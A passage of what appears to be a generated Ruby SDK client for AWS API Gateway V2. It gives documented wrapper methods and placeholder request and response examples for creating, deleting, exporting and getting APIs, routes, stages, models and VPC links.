# * {Types::CreateIntegrationResponseResponse#response_templates #response_templates} => Hash<String,String>
# * {Types::CreateIntegrationResponseResponse#template_selection_expression #template_selection_expression} => String
#
# @example Request syntax with placeholder values
#
# resp = client.create_integration_response({
# api_id: "__string", # required
# content_handling_strategy: "CONVERT_TO_BINARY", # accepts CONVERT_TO_BINARY, CONVERT_TO_TEXT
# integration_id: "__string", # required
# integration_response_key: "SelectionKey", # required
# response_parameters: {
# "__string" => "StringWithLengthBetween1And512",
# },
# response_templates: {
# "__string" => "StringWithLengthBetween0And32K",
# },
# template_selection_expression: "SelectionExpression",
# })
#
# @example Response structure
#
# resp.content_handling_strategy #=> String, one of "CONVERT_TO_BINARY", "CONVERT_TO_TEXT"
# resp.integration_response_id #=> String
# resp.integration_response_key #=> String
# resp.response_parameters #=> Hash
# resp.response_parameters["__string"] #=> String
# resp.response_templates #=> Hash
# resp.response_templates["__string"] #=> String
# resp.template_selection_expression #=> String
#
# @overload create_integration_response(params = {})
# @param [Hash] params ({})
def create_integration_response(params = {}, options = {})
req = build_request(:create_integration_response, params)
req.send_request(options)
end
# Creates a Model for an API.
#
# @option params [required, String] :api_id
#
# @option params [String] :content_type
# A string with a length between \[1-256\].
#
# @option params [String] :description
# A string with a length between \[0-1024\].
#
# @option params [required, String] :name
# A string with a length between \[1-128\].
#
# @option params [required, String] :schema
# A string with a length between \[0-32768\].
#
# @return [Types::CreateModelResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateModelResponse#content_type #content_type} => String
# * {Types::CreateModelResponse#description #description} => String
# * {Types::CreateModelResponse#model_id #model_id} => String
# * {Types::CreateModelResponse#name #name} => String
# * {Types::CreateModelResponse#schema #schema} => String
#
# @example Request syntax with placeholder values
#
# resp = client.create_model({
# api_id: "__string", # required
# content_type: "StringWithLengthBetween1And256",
# description: "StringWithLengthBetween0And1024",
# name: "StringWithLengthBetween1And128", # required
# schema: "StringWithLengthBetween0And32K", # required
# })
#
# @example Response structure
#
# resp.content_type #=> String
# resp.description #=> String
# resp.model_id #=> String
# resp.name #=> String
# resp.schema #=> String
#
# @overload create_model(params = {})
# @param [Hash] params ({})
def create_model(params = {}, options = {})
req = build_request(:create_model, params)
req.send_request(options)
end
# Creates a Route for an API.
#
# @option params [required, String] :api_id
#
# @option params [Boolean] :api_key_required
#
# @option params [Array<String>] :authorization_scopes
# A list of authorization scopes configured on a route. The scopes are
# used with a JWT authorizer to authorize the method invocation. The
# authorization works by matching the route scopes against the scopes
# parsed from the access token in the incoming request. The method
# invocation is authorized if any route scope matches a claimed scope in
# the access token. Otherwise, the invocation is not authorized. When
# the route scope is configured, the client must provide an access token
# instead of an identity token for authorization purposes.
#
# @option params [String] :authorization_type
# The authorization type. For WebSocket APIs, valid values are NONE for
# open access, AWS\_IAM for using AWS IAM permissions, and CUSTOM for
# using a Lambda authorizer. For HTTP APIs, valid values are NONE for
# open access, JWT for using JSON Web Tokens, AWS\_IAM for using AWS IAM
# permissions, and CUSTOM for using a Lambda authorizer.
#
# @option params [String] :authorizer_id
# The identifier.
#
# @option params [String] :model_selection_expression
# An expression used to extract information at runtime. See [Selection
# Expressions][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [String] :operation_name
# A string with a length between \[1-64\].
#
# @option params [Hash<String,String>] :request_models
# The route models.
#
# @option params [Hash<String,Types::ParameterConstraints>] :request_parameters
# The route parameters.
#
# @option params [required, String] :route_key
# After evaluating a selection expression, the result is compared
# against one or more selection keys to find a matching key. See
# [Selection Expressions][1] for a list of expressions and each
# expression's associated selection key type.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [String] :route_response_selection_expression
# An expression used to extract information at runtime. See [Selection
# Expressions][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [String] :target
# A string with a length between \[1-128\].
#
# @return [Types::CreateRouteResult] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateRouteResult#api_gateway_managed #api_gateway_managed} => Boolean
# * {Types::CreateRouteResult#api_key_required #api_key_required} => Boolean
# * {Types::CreateRouteResult#authorization_scopes #authorization_scopes} => Array<String>
# * {Types::CreateRouteResult#authorization_type #authorization_type} => String
# * {Types::CreateRouteResult#authorizer_id #authorizer_id} => String
# * {Types::CreateRouteResult#model_selection_expression #model_selection_expression} => String
# * {Types::CreateRouteResult#operation_name #operation_name} => String
# * {Types::CreateRouteResult#request_models #request_models} => Hash<String,String>
# * {Types::CreateRouteResult#request_parameters #request_parameters} => Hash<String,Types::ParameterConstraints>
# * {Types::CreateRouteResult#route_id #route_id} => String
# * {Types::CreateRouteResult#route_key #route_key} => String
# * {Types::CreateRouteResult#route_response_selection_expression #route_response_selection_expression} => String
# * {Types::CreateRouteResult#target #target} => String
#
# @example Request syntax with placeholder values
#
# resp = client.create_route({
# api_id: "__string", # required
# api_key_required: false,
# authorization_scopes: ["StringWithLengthBetween1And64"],
# authorization_type: "NONE", # accepts NONE, AWS_IAM, CUSTOM, JWT
# authorizer_id: "Id",
# model_selection_expression: "SelectionExpression",
# operation_name: "StringWithLengthBetween1And64",
# request_models: {
# "__string" => "StringWithLengthBetween1And128",
# },
# request_parameters: {
# "__string" => {
# required: false,
# },
# },
# route_key: "SelectionKey", # required
# route_response_selection_expression: "SelectionExpression",
# target: "StringWithLengthBetween1And128",
# })
#
# @example Response structure
#
# resp.api_gateway_managed #=> Boolean
# resp.api_key_required #=> Boolean
# resp.authorization_scopes #=> Array
# resp.authorization_scopes[0] #=> String
# resp.authorization_type #=> String, one of "NONE", "AWS_IAM", "CUSTOM", "JWT"
# resp.authorizer_id #=> String
# resp.model_selection_expression #=> String
# resp.operation_name #=> String
# resp.request_models #=> Hash
# resp.request_models["__string"] #=> String
# resp.request_parameters #=> Hash
# resp.request_parameters["__string"].required #=> Boolean
# resp.route_id #=> String
# resp.route_key #=> String
# resp.route_response_selection_expression #=> String
# resp.target #=> String
#
# @overload create_route(params = {})
# @param [Hash] params ({})
def create_route(params = {}, options = {})
req = build_request(:create_route, params)
req.send_request(options)
end
# Creates a RouteResponse for a Route.
#
# @option params [required, String] :api_id
#
# @option params [String] :model_selection_expression
# An expression used to extract information at runtime. See [Selection
# Expressions][1] for more information.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @option params [Hash<String,String>] :response_models
# The route models.
#
# @option params [Hash<String,Types::ParameterConstraints>] :response_parameters
# The route parameters.
#
# @option params [required, String] :route_id
#
# @option params [required, String] :route_response_key
# After evaluating a selection expression, the result is compared
# against one or more selection keys to find a matching key. See
# [Selection Expressions][1] for a list of expressions and each
# expression's associated selection key type.
#
#
#
# [1]: https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-websocket-api-selection-expressions.html#apigateway-websocket-api-apikey-selection-expressions
#
# @return [Types::CreateRouteResponseResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateRouteResponseResponse#model_selection_expression #model_selection_expression} => String
# * {Types::CreateRouteResponseResponse#response_models #response_models} => Hash<String,String>
# * {Types::CreateRouteResponseResponse#response_parameters #response_parameters} => Hash<String,Types::ParameterConstraints>
# * {Types::CreateRouteResponseResponse#route_response_id #route_response_id} => String
# * {Types::CreateRouteResponseResponse#route_response_key #route_response_key} => String
#
# @example Request syntax with placeholder values
#
# resp = client.create_route_response({
# api_id: "__string", # required
# model_selection_expression: "SelectionExpression",
# response_models: {
# "__string" => "StringWithLengthBetween1And128",
# },
# response_parameters: {
# "__string" => {
# required: false,
# },
# },
# route_id: "__string", # required
# route_response_key: "SelectionKey", # required
# })
#
# @example Response structure
#
# resp.model_selection_expression #=> String
# resp.response_models #=> Hash
# resp.response_models["__string"] #=> String
# resp.response_parameters #=> Hash
# resp.response_parameters["__string"].required #=> Boolean
# resp.route_response_id #=> String
# resp.route_response_key #=> String
#
# @overload create_route_response(params = {})
# @param [Hash] params ({})
def create_route_response(params = {}, options = {})
req = build_request(:create_route_response, params)
req.send_request(options)
end
# Creates a Stage for an API.
#
# @option params [Types::AccessLogSettings] :access_log_settings
# Settings for logging access in a stage.
#
# @option params [required, String] :api_id
#
# @option params [Boolean] :auto_deploy
#
# @option params [String] :client_certificate_id
# The identifier.
#
# @option params [Types::RouteSettings] :default_route_settings
# Represents a collection of route settings.
#
# @option params [String] :deployment_id
# The identifier.
#
# @option params [String] :description
# A string with a length between \[0-1024\].
#
# @option params [Hash<String,Types::RouteSettings>] :route_settings
# The route settings map.
#
# @option params [required, String] :stage_name
# A string with a length between \[1-128\].
#
# @option params [Hash<String,String>] :stage_variables
# The stage variable map.
#
# @option params [Hash<String,String>] :tags
# Represents a collection of tags associated with the resource.
#
# @return [Types::CreateStageResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateStageResponse#access_log_settings #access_log_settings} => Types::AccessLogSettings
# * {Types::CreateStageResponse#api_gateway_managed #api_gateway_managed} => Boolean
# * {Types::CreateStageResponse#auto_deploy #auto_deploy} => Boolean
# * {Types::CreateStageResponse#client_certificate_id #client_certificate_id} => String
# * {Types::CreateStageResponse#created_date #created_date} => Time
# * {Types::CreateStageResponse#default_route_settings #default_route_settings} => Types::RouteSettings
# * {Types::CreateStageResponse#deployment_id #deployment_id} => String
# * {Types::CreateStageResponse#description #description} => String
# * {Types::CreateStageResponse#last_deployment_status_message #last_deployment_status_message} => String
# * {Types::CreateStageResponse#last_updated_date #last_updated_date} => Time
# * {Types::CreateStageResponse#route_settings #route_settings} => Hash<String,Types::RouteSettings>
# * {Types::CreateStageResponse#stage_name #stage_name} => String
# * {Types::CreateStageResponse#stage_variables #stage_variables} => Hash<String,String>
# * {Types::CreateStageResponse#tags #tags} => Hash<String,String>
#
# @example Request syntax with placeholder values
#
# resp = client.create_stage({
# access_log_settings: {
# destination_arn: "Arn",
# format: "StringWithLengthBetween1And1024",
# },
# api_id: "__string", # required
# auto_deploy: false,
# client_certificate_id: "Id",
# default_route_settings: {
# data_trace_enabled: false,
# detailed_metrics_enabled: false,
# logging_level: "ERROR", # accepts ERROR, INFO, OFF
# throttling_burst_limit: 1,
# throttling_rate_limit: 1.0,
# },
# deployment_id: "Id",
# description: "StringWithLengthBetween0And1024",
# route_settings: {
# "__string" => {
# data_trace_enabled: false,
# detailed_metrics_enabled: false,
# logging_level: "ERROR", # accepts ERROR, INFO, OFF
# throttling_burst_limit: 1,
# throttling_rate_limit: 1.0,
# },
# },
# stage_name: "StringWithLengthBetween1And128", # required
# stage_variables: {
# "__string" => "StringWithLengthBetween0And2048",
# },
# tags: {
# "__string" => "StringWithLengthBetween1And1600",
# },
# })
#
# @example Response structure
#
# resp.access_log_settings.destination_arn #=> String
# resp.access_log_settings.format #=> String
# resp.api_gateway_managed #=> Boolean
# resp.auto_deploy #=> Boolean
# resp.client_certificate_id #=> String
# resp.created_date #=> Time
# resp.default_route_settings.data_trace_enabled #=> Boolean
# resp.default_route_settings.detailed_metrics_enabled #=> Boolean
# resp.default_route_settings.logging_level #=> String, one of "ERROR", "INFO", "OFF"
# resp.default_route_settings.throttling_burst_limit #=> Integer
# resp.default_route_settings.throttling_rate_limit #=> Float
# resp.deployment_id #=> String
# resp.description #=> String
# resp.last_deployment_status_message #=> String
# resp.last_updated_date #=> Time
# resp.route_settings #=> Hash
# resp.route_settings["__string"].data_trace_enabled #=> Boolean
# resp.route_settings["__string"].detailed_metrics_enabled #=> Boolean
# resp.route_settings["__string"].logging_level #=> String, one of "ERROR", "INFO", "OFF"
# resp.route_settings["__string"].throttling_burst_limit #=> Integer
# resp.route_settings["__string"].throttling_rate_limit #=> Float
# resp.stage_name #=> String
# resp.stage_variables #=> Hash
# resp.stage_variables["__string"] #=> String
# resp.tags #=> Hash
# resp.tags["__string"] #=> String
#
# @overload create_stage(params = {})
# @param [Hash] params ({})
def create_stage(params = {}, options = {})
req = build_request(:create_stage, params)
req.send_request(options)
end
# Creates a VPC link.
#
# @option params [required, String] :name
# A string with a length between \[1-128\].
#
# @option params [Array<String>] :security_group_ids
# A list of security group IDs for the VPC link.
#
# @option params [required, Array<String>] :subnet_ids
# A list of subnet IDs to include in the VPC link.
#
# @option params [Hash<String,String>] :tags
# Represents a collection of tags associated with the resource.
#
# @return [Types::CreateVpcLinkResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::CreateVpcLinkResponse#created_date #created_date} => Time
# * {Types::CreateVpcLinkResponse#name #name} => String
# * {Types::CreateVpcLinkResponse#security_group_ids #security_group_ids} => Array<String>
# * {Types::CreateVpcLinkResponse#subnet_ids #subnet_ids} => Array<String>
# * {Types::CreateVpcLinkResponse#tags #tags} => Hash<String,String>
# * {Types::CreateVpcLinkResponse#vpc_link_id #vpc_link_id} => String
# * {Types::CreateVpcLinkResponse#vpc_link_status #vpc_link_status} => String
# * {Types::CreateVpcLinkResponse#vpc_link_status_message #vpc_link_status_message} => String
# * {Types::CreateVpcLinkResponse#vpc_link_version #vpc_link_version} => String
#
# @example Request syntax with placeholder values
#
# resp = client.create_vpc_link({
# name: "StringWithLengthBetween1And128", # required
# security_group_ids: ["__string"],
# subnet_ids: ["__string"], # required
# tags: {
# "__string" => "StringWithLengthBetween1And1600",
# },
# })
#
# @example Response structure
#
# resp.created_date #=> Time
# resp.name #=> String
# resp.security_group_ids #=> Array
# resp.security_group_ids[0] #=> String
# resp.subnet_ids #=> Array
# resp.subnet_ids[0] #=> String
# resp.tags #=> Hash
# resp.tags["__string"] #=> String
# resp.vpc_link_id #=> String
# resp.vpc_link_status #=> String, one of "PENDING", "AVAILABLE", "DELETING", "FAILED", "INACTIVE"
# resp.vpc_link_status_message #=> String
# resp.vpc_link_version #=> String, one of "V2"
#
# @overload create_vpc_link(params = {})
# @param [Hash] params ({})
def create_vpc_link(params = {}, options = {})
req = build_request(:create_vpc_link, params)
req.send_request(options)
end
# Deletes the AccessLogSettings for a Stage. To disable access logging
# for a Stage, delete its AccessLogSettings.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :stage_name
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_access_log_settings({
# api_id: "__string", # required
# stage_name: "__string", # required
# })
#
# @overload delete_access_log_settings(params = {})
# @param [Hash] params ({})
def delete_access_log_settings(params = {}, options = {})
req = build_request(:delete_access_log_settings, params)
req.send_request(options)
end
# Deletes an Api resource.
#
# @option params [required, String] :api_id
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_api({
# api_id: "__string", # required
# })
#
# @overload delete_api(params = {})
# @param [Hash] params ({})
def delete_api(params = {}, options = {})
req = build_request(:delete_api, params)
req.send_request(options)
end
# Deletes an API mapping.
#
# @option params [required, String] :api_mapping_id
#
# @option params [required, String] :domain_name
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_api_mapping({
# api_mapping_id: "__string", # required
# domain_name: "__string", # required
# })
#
# @overload delete_api_mapping(params = {})
# @param [Hash] params ({})
def delete_api_mapping(params = {}, options = {})
req = build_request(:delete_api_mapping, params)
req.send_request(options)
end
# Deletes an Authorizer.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :authorizer_id
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_authorizer({
# api_id: "__string", # required
# authorizer_id: "__string", # required
# })
#
# @overload delete_authorizer(params = {})
# @param [Hash] params ({})
def delete_authorizer(params = {}, options = {})
req = build_request(:delete_authorizer, params)
req.send_request(options)
end
# Deletes a CORS configuration.
#
# @option params [required, String] :api_id
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_cors_configuration({
# api_id: "__string", # required
# })
#
# @overload delete_cors_configuration(params = {})
# @param [Hash] params ({})
def delete_cors_configuration(params = {}, options = {})
req = build_request(:delete_cors_configuration, params)
req.send_request(options)
end
# Deletes a Deployment.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :deployment_id
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_deployment({
# api_id: "__string", # required
# deployment_id: "__string", # required
# })
#
# @overload delete_deployment(params = {})
# @param [Hash] params ({})
def delete_deployment(params = {}, options = {})
req = build_request(:delete_deployment, params)
req.send_request(options)
end
# Deletes a domain name.
#
# @option params [required, String] :domain_name
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_domain_name({
# domain_name: "__string", # required
# })
#
# @overload delete_domain_name(params = {})
# @param [Hash] params ({})
def delete_domain_name(params = {}, options = {})
req = build_request(:delete_domain_name, params)
req.send_request(options)
end
# Deletes an Integration.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :integration_id
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_integration({
# api_id: "__string", # required
# integration_id: "__string", # required
# })
#
# @overload delete_integration(params = {})
# @param [Hash] params ({})
def delete_integration(params = {}, options = {})
req = build_request(:delete_integration, params)
req.send_request(options)
end
# Deletes an IntegrationResponses.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :integration_id
#
# @option params [required, String] :integration_response_id
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_integration_response({
# api_id: "__string", # required
# integration_id: "__string", # required
# integration_response_id: "__string", # required
# })
#
# @overload delete_integration_response(params = {})
# @param [Hash] params ({})
def delete_integration_response(params = {}, options = {})
req = build_request(:delete_integration_response, params)
req.send_request(options)
end
# Deletes a Model.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :model_id
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_model({
# api_id: "__string", # required
# model_id: "__string", # required
# })
#
# @overload delete_model(params = {})
# @param [Hash] params ({})
def delete_model(params = {}, options = {})
req = build_request(:delete_model, params)
req.send_request(options)
end
# Deletes a Route.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :route_id
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_route({
# api_id: "__string", # required
# route_id: "__string", # required
# })
#
# @overload delete_route(params = {})
# @param [Hash] params ({})
def delete_route(params = {}, options = {})
req = build_request(:delete_route, params)
req.send_request(options)
end
# Deletes a route request parameter.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :request_parameter_key
#
# @option params [required, String] :route_id
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_route_request_parameter({
# api_id: "__string", # required
# request_parameter_key: "__string", # required
# route_id: "__string", # required
# })
#
# @overload delete_route_request_parameter(params = {})
# @param [Hash] params ({})
def delete_route_request_parameter(params = {}, options = {})
req = build_request(:delete_route_request_parameter, params)
req.send_request(options)
end
# Deletes a RouteResponse.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :route_id
#
# @option params [required, String] :route_response_id
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_route_response({
# api_id: "__string", # required
# route_id: "__string", # required
# route_response_id: "__string", # required
# })
#
# @overload delete_route_response(params = {})
# @param [Hash] params ({})
def delete_route_response(params = {}, options = {})
req = build_request(:delete_route_response, params)
req.send_request(options)
end
# Deletes the RouteSettings for a stage.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :route_key
#
# @option params [required, String] :stage_name
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_route_settings({
# api_id: "__string", # required
# route_key: "__string", # required
# stage_name: "__string", # required
# })
#
# @overload delete_route_settings(params = {})
# @param [Hash] params ({})
def delete_route_settings(params = {}, options = {})
req = build_request(:delete_route_settings, params)
req.send_request(options)
end
# Deletes a Stage.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :stage_name
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_stage({
# api_id: "__string", # required
# stage_name: "__string", # required
# })
#
# @overload delete_stage(params = {})
# @param [Hash] params ({})
def delete_stage(params = {}, options = {})
req = build_request(:delete_stage, params)
req.send_request(options)
end
# Deletes a VPC link.
#
# @option params [required, String] :vpc_link_id
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.delete_vpc_link({
# vpc_link_id: "__string", # required
# })
#
# @overload delete_vpc_link(params = {})
# @param [Hash] params ({})
def delete_vpc_link(params = {}, options = {})
req = build_request(:delete_vpc_link, params)
req.send_request(options)
end
# Exports a definition of an API in a particular output format and
# specification.
#
# @option params [required, String] :api_id
#
# @option params [String] :export_version
#
# @option params [Boolean] :include_extensions
#
# @option params [required, String] :output_type
#
# @option params [required, String] :specification
#
# @option params [String] :stage_name
#
# @return [Types::ExportApiResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ExportApiResponse#body #body} => String
#
# @example Request syntax with placeholder values
#
# resp = client.export_api({
# api_id: "__string", # required
# export_version: "__string",
# include_extensions: false,
# output_type: "__string", # required
# specification: "__string", # required
# stage_name: "__string",
# })
#
# @example Response structure
#
# resp.body #=> String
#
# @overload export_api(params = {})
# @param [Hash] params ({})
def export_api(params = {}, options = {})
req = build_request(:export_api, params)
req.send_request(options)
end
# Resets all authorizer cache entries for the specified stage. Supported
# only for HTTP API Lambda authorizers.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :stage_name
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.reset_authorizers_cache({
# api_id: "__string", # required
# stage_name: "__string", # required
# })
#
# @overload reset_authorizers_cache(params = {})
# @param [Hash] params ({})
def reset_authorizers_cache(params = {}, options = {})
req = build_request(:reset_authorizers_cache, params)
req.send_request(options)
end
# Gets an Api resource.
#
# @option params [required, String] :api_id
#
# @return [Types::GetApiResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetApiResponse#api_endpoint #api_endpoint} => String
# * {Types::GetApiResponse#api_gateway_managed #api_gateway_managed} => Boolean
# * {Types::GetApiResponse#api_id #api_id} => String
# * {Types::GetApiResponse#api_key_selection_expression #api_key_selection_expression} => String
# * {Types::GetApiResponse#cors_configuration #cors_configuration} => Types::Cors
# * {Types::GetApiResponse#created_date #created_date} => Time
# * {Types::GetApiResponse#description #description} => String
# * {Types::GetApiResponse#disable_schema_validation #disable_schema_validation} => Boolean
# * {Types::GetApiResponse#disable_execute_api_endpoint #disable_execute_api_endpoint} => Boolean
# * {Types::GetApiResponse#import_info #import_info} => Array<String>
# * {Types::GetApiResponse#name #name} => String
# * {Types::GetApiResponse#protocol_type #protocol_type} => String
# * {Types::GetApiResponse#route_selection_expression #route_selection_expression} => String
# * {Types::GetApiResponse#tags #tags} => Hash<String,String>
# * {Types::GetApiResponse#version #version} => String
# * {Types::GetApiResponse#warnings #warnings} => Array<String>
#
# @example Request syntax with placeholder values
#
# resp = client.get_api({
# api_id: "__string", # required
# })
#
# @example Response structure
#
# resp.api_endpoint #=> String
# resp.api_gateway_managed #=> Boolean
# resp.api_id #=> String
# resp.api_key_selection_expression #=> String
# resp.cors_configuration.allow_credentials #=> Boolean
# resp.cors_configuration.allow_headers #=> Array
# resp.cors_configuration.allow_headers[0] #=> String
# resp.cors_configuration.allow_methods #=> Array
# resp.cors_configuration.allow_methods[0] #=> String
# resp.cors_configuration.allow_origins #=> Array
# resp.cors_configuration.allow_origins[0] #=> String
# resp.cors_configuration.expose_headers #=> Array
# resp.cors_configuration.expose_headers[0] #=> String
# resp.cors_configuration.max_age #=> Integer
# resp.created_date #=> Time
# resp.description #=> String
# resp.disable_schema_validation #=> Boolean
# resp.disable_execute_api_endpoint #=> Boolean
# resp.import_info #=> Array
# resp.import_info[0] #=> String
# resp.name #=> String
# resp.protocol_type #=> String, one of "WEBSOCKET", "HTTP"
# resp.route_selection_expression #=> String
# resp.tags #=> Hash
# resp.tags["__string"] #=> String
# resp.version #=> String
# resp.warnings #=> Array
# resp.warnings[0] #=> String
#
# @overload get_api(params = {})
# @param [Hash] params ({})
def get_api(params = {}, options = {})
req = build_request(:get_api, params)
req.send_request(options)
end
# Gets an API mapping.
#
# @option params [required, String] :api_mapping_id
#
# @option params [required, String] :domain_name
#
# @return [Types::GetApiMappingResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetApiMappingResponse#api_id #api_id} => String
# * {Types::GetApiMappingResponse#api_mapping_id #api_mapping_id} => String
# * {Types::GetApiMappingResponse#api_mapping_key #api_mapping_key} => String
# * {Types::GetApiMappingResponse#stage #stage} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_api_mapping({
# api_mapping_id: "__string", # required
# domain_name: "__string", # required
# })
#
# @example Response structure
#
# resp.api_id #=> String
# resp.api_mapping_id #=> String
# resp.api_mapping_key #=> String
# resp.stage #=> String
#
# @overload get_api_mapping(params = {})
# @param [Hash] params ({})
def get_api_mapping(params = {}, options = {})
req = build_request(:get_api_mapping, params)
req.send_request(options)
end
# Gets API mappings.
#
# @option params [required, String] :domain_name
#
# @option params [String] :max_results
#
# @option params [String] :next_token
#
# @return [Types::GetApiMappingsResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetApiMappingsResponse#items #items} => Array<Types::ApiMapping>
# * {Types::GetApiMappingsResponse#next_token #next_token} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_api_mappings({
# domain_name: "__string", # required
# max_results: "__string",
# next_token: "__string",
# })
#
# @example Response structure
#
# resp.items #=> Array
# resp.items[0].api_id #=> String
# resp.items[0].api_mapping_id #=> String
# resp.items[0].api_mapping_key #=> String
# resp.items[0].stage #=> String
# resp.next_token #=> String
#
# @overload get_api_mappings(params = {})
# @param [Hash] params ({})
def get_api_mappings(params = {}, options = {})
req = build_request(:get_api_mappings, params)
req.send_request(options)
end
# Gets a collection of Api resources.
#
# @option params [String] :max_results
#
# @option params [String] :next_token
#
# @return [Types::GetApisResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetApisResponse#items #items} => Array<Types::Api>
# * {Types::GetApisResponse#next_token #next_token} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_apis({
# max_results: "__string",
# next_token: "__string",
# })
#
# @example Response structure
#
# resp.items #=> Array
# resp.items[0].api_endpoint #=> String
# resp.items[0].api_gateway_managed #=> Boolean
# resp.items[0].api_id #=> String
# resp.items[0].api_key_selection_expression #=> String
# resp.items[0].cors_configuration.allow_credentials #=> Boolean
# resp.items[0].cors_configuration.allow_headers #=> Array
# resp.items[0].cors_configuration.allow_headers[0] #=> String
# resp.items[0].cors_configuration.allow_methods #=> Array
# resp.items[0].cors_configuration.allow_methods[0] #=> String
# resp.items[0].cors_configuration.allow_origins #=> Array
# resp.items[0].cors_configuration.allow_origins[0] #=> String
# resp.items[0].cors_configuration.expose_headers #=> Array
# resp.items[0].cors_configuration.expose_headers[0] #=> String
# resp.items[0].cors_configuration.max_age #=> Integer
# resp.items[0].created_date #=> Time
# resp.items[0].description #=> String
# resp.items[0].disable_schema_validation #=> Boolean
# resp.items[0].disable_execute_api_endpoint #=> Boolean
# resp.items[0].import_info #=> Array
# resp.items[0].import_info[0] #=> String
# resp.items[0].name #=> String
# resp.items[0].protocol_type #=> String, one of "WEBSOCKET", "HTTP"
# resp.items[0].route_selection_expression #=> String
# resp.items[0].tags #=> Hash
# resp.items[0].tags["__string"] #=> String
# resp.items[0].version #=> String
# resp.items[0].warnings #=> Array
# resp.items[0].warnings[0] #=> String
# resp.next_token #=> String
#
# @overload get_apis(params = {})
# @param [Hash] params ({})
def get_apis(params = {}, options = {})
req = build_request(:get_apis, params)
req.send_request(options)
end
# Gets an Authorizer.
#
# @option params [required, String] :api_id
#
# @option params [required, String] :authorizer_id
#
# @return [Types::GetAuthorizerResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetAuthorizerResponse#authorizer_credentials_arn #authorizer_credentials_arn} => String
# * {Types::GetAuthorizerResponse#authorizer_id #authorizer_id} => String
# * {Types::GetAuthorizerResponse#authorizer_result_ttl_in_seconds #authorizer_result_ttl_in_seconds} => Integer
# * {Types::GetAuthorizerResponse#authorizer_type #authorizer_type} => String
# * {Types::GetAuthorizerResponse#authorizer_uri #authorizer_uri} => String
# * {Types::GetAuthorizerResponse#identity_source #identity_source} => Array<String>
# * {Types::GetAuthorizerResponse#identity_validation_expression #identity_validation_expression} => String
# * {Types::GetAuthorizerResponse#jwt_configuration #jwt_configuration} => Types::JWTConfiguration
# * {Types::GetAuthorizerResponse#name #name} => String
# * {Types::GetAuthorizerResponse#authorizer_payload_format_version #authorizer_payload_format_version} => String
# * {Types::GetAuthorizerResponse#enable_simple_responses #enable_simple_responses} => Boolean
#
# @example Request syntax with placeholder values
#
# resp = client.get_authorizer({
